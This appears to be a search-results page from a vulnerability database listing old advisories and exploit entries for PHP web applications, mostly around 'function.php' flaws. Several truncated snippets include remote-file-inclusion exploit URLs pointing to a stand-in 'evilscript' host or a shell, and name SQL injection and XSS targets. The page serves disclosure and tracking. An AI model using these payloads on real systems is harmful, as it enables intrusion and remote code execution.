Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Settings
Sign in
🔥 Daily Hot!
💪🏽 CPE Enhanced Advisories
🕶 Shadow Exploits
🕵🏼 Vulners CPE
🔐 Security news
💻 Exploit updates
📑 Blogs review
🐧 Linux vulnerabilities
🐞 Bugbounty
🤖 AI High Score
📰 CVE Feed
show all

82 matches found

seebug.org
seebug.org•added 2010/05/26 12:00 a.m.•22 views

MigasCMS 1.0 SQL Injection vulnerabilities

No description provided by source. Title: MigasCMS 1.0 SQL Injection Download: http://www.sebrac.webcindario.com/cms/ AUTHOR: ITSecTeam Email: [email protected] Website: http://www.itsecteam.com Forum : http://forum.ITSecTeam.com Original Advisory:...

7.1AI score
SaveExploits0
CVE
CVE•added 2010/05/24 5:00 p.m.•60 views

CVE-2010-2012

Overview: CVE-2010-2012 describes an SQL injection in MigasCMS 1.1. Affected software/component: MigasCMS 1.1; vulnerable code path is in function.php. Root cause / trigger: When magic_quotes_gpc is disabled, an attacker can manipulate the categorie parameter in a catalogo action to execute arbit...

6.8CVSS8.6AI score0.0128EPSS
SaveExploits1References5Affected Software1
Packet Storm
Packet Storm•added 2010/05/19 12:00 a.m.•24 views

MigasCMS 1.0 SQL Injection

Title: MigasCMS 1.0 SQL Injection Download: http://www.sebrac.webcindario.com/cms/ AUTHOR: ITSecTeam Email: [email protected] Website: http://www.itsecteam.com Forum : http://forum.ITSecTeam.com Original Advisory: http://www.itsecteam.com/en/vulnerabilities/vulnerability54.htm Thanks:...

0.2AI score
SaveExploits0
Prion
Prion•added 2009/08/10 8:30 p.m.•25 views

Cross site scripting

Cross-site scripting XSS vulnerability in function.php in Zenphoto 1.1.7 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors in the "request logging" feature. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

4.3CVSS6AI score0.00845EPSS
SaveExploits0References2Affected Software1
CVE
CVE•added 2009/08/10 8:00 p.m.•57 views

CVE-2008-6925

Zenphoto 1.1.7 contains a Cross‑Site Scripting (XSS) flaw in function.php, exploitable via the \

4.3CVSS5.6AI score0.00845EPSS
SaveExploits0References2Affected Software1
Cvelist
Cvelist•added 2009/08/10 8:00 p.m.•38 views

CVE-2008-6925

Cross-site scripting XSS vulnerability in function.php in Zenphoto 1.1.7 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors in the "request logging" feature. NOTE: the provenance of this information is unknown; the details are obtained solely from third party...

5.5AI score0.00845EPSS
SaveExploits0References2
seebug.org
seebug.org•added 2009/04/11 12:00 a.m.•17 views

Redaxscript 0.2.0 (language) Local File Inclusion Vulnerability

No description provided by source. + Redaxscript 0.2.0 index.php language Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Local File Inclusion index.php : -----------------------------------------------------------------...

7.1AI score
SaveExploits0
exploitpack
exploitpack•added 2009/04/10 12:00 a.m.•22 views

RedaxScript 0.2.0 - Language Local File Inclusion

RedaxScript 0.2.0 - Language Local File Inclusion + Redaxscript 0.2.0 index.php language Local File Inclusion Vulnerability + Discovered By SirGod + www.mortal-team.org + www.h4cky0u.org + Local File Inclusion index.php : -----------------------------------------------------------------...

0.3AI score
SaveExploits0
zdt
zdt•added 2009/04/10 12:00 a.m.•16 views

Redaxscript 0.2.0 (language) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications =============================================================== Redaxscript 0.2.0 language Local File Inclusion Vulnerability =============================================================== + Redaxscript 0.2.0 index.php language Local File...

7.1AI score
SaveExploits0
seebug.org
seebug.org•added 2008/09/24 12:00 a.m.•27 views

Akira Powered Image Gallery 'function.php' SQL注入漏洞

BUGTRAQ ID: 31286 CNCAN ID：CNCAN-2008092301 Akira Powered Image Gallery是一款基于PHP的WEB应用程序。 Akira Powered Image Gallery不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。 问题由于'function.php'脚本对用户提交给'page'参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 Akira Powered Image Gallery 0.9.6.2 目前没有解决方案提供：...

6.9AI score
SaveExploits0
seebug.org
seebug.org•added 2008/07/02 12:00 a.m.•34 views

Sisplet CMS (index.php id) Remote SQL Injection Vulnerability

No description provided by source. ================================================================= Sisplet CMS index.php id Remote SQL Injection Vulnerability ================================================================= ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O...

7.1AI score
SaveExploits0
zdt
zdt•added 2008/07/01 12:00 a.m.•27 views

Sisplet CMS (index.php id) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= Sisplet CMS index.php id Remote SQL Injection Vulnerability ============================================================= ,--^----------,--------,-----,-------^--, | |||||||||...

7.1AI score
SaveExploits0
Packet Storm
Packet Storm•added 2008/02/20 12:00 a.m.•29 views

thecus-rfi.txt

Thecus N5200Pro NAS Server Control Panel Remote File İnclude Author : CrackersChild Mail : [email protected] Bug in : usrgetform.html Exploit : www.site.com:9443/usr/usrgetform.html?name=Shelz? İnfo : http://www.thecus.com/productsover.php?cid=11&pid=8 Greetz: Str0ke...

7.4AI score
SaveExploits0
Exploit DB
Exploit DB•added 2008/02/18 12:00 a.m.•45 views

Thecus N5200Pro NAS Server Control Panel - Remote File Inclusion

Thecus N5200Pro NAS Server Control Panel Remote File Ä°nclude Author : CrackersChild Mail : [email protected] Bug in : usrgetform.html Exploit : www.site.com:9443/usr/usrgetform.html?name=Shelz? Ä°nfo : http://www.thecus.com/productsover.php?cid=11&pid=8 Greetz: Str0ke milw0rm.com 2008-02-18...

6.8CVSS5.8AI score0.01975EPSS
SaveExploits2
securityvulns
securityvulns•added 2007/02/23 12:00 a.m.•76 views

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability:

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

0.9AI score
SaveExploits0
securityvulns
securityvulns•added 2007/02/23 12:00 a.m.•117 views

Hasadya Raed

Remote Incluude File : By Hasadya Raed Contact : [email protected] Author : Hasadya Raed Script : arabhost Download : http://delmaa.com/upfile/users/arabHost.zip B.File : function.php V.Code : include$adminfloder"; Expl : http://www.victim.com/path/function.php?adminfolder=Shell-Attack...

0.5AI score
SaveExploits0
seebug.org
seebug.org•added 2007/02/22 12:00 a.m.•18 views

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability

No description provided by source. Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript...

7.1AI score
SaveExploits0
Exploit DB
Exploit DB•added 2007/02/20 12:00 a.m.•61 views

Ultimate Fun Book 1.02 - 'function.php' Remote File Inclusion

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

6.8CVSS5.8AI score0.03105EPSS
SaveExploits2
zdt
zdt•added 2007/02/20 12:00 a.m.•42 views

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Ultimate Fun Book 1.02 function.php Remote File Include Vulnerability ======================================================================= Ultimate Fun Book 1.02...

7.1AI score
SaveExploits0
CVE
CVE•added 2006/06/07 12:00 a.m.•54 views

CVE-2006-2877

CVE-2006-2877 describes a PHP remote file inclusion in Bookmark4U 2.0.0 and earlier. An attacker can cause the application to include arbitrary PHP files via the include_prefix parameter in one of four files: inc/dbase.php, inc/config.php, inc/common.php, or inc/function.php. The advisory notes t...

7.5CVSS7AI score0.07605EPSS
SaveExploits4References11Affected Software1
Rows per page
Query Builder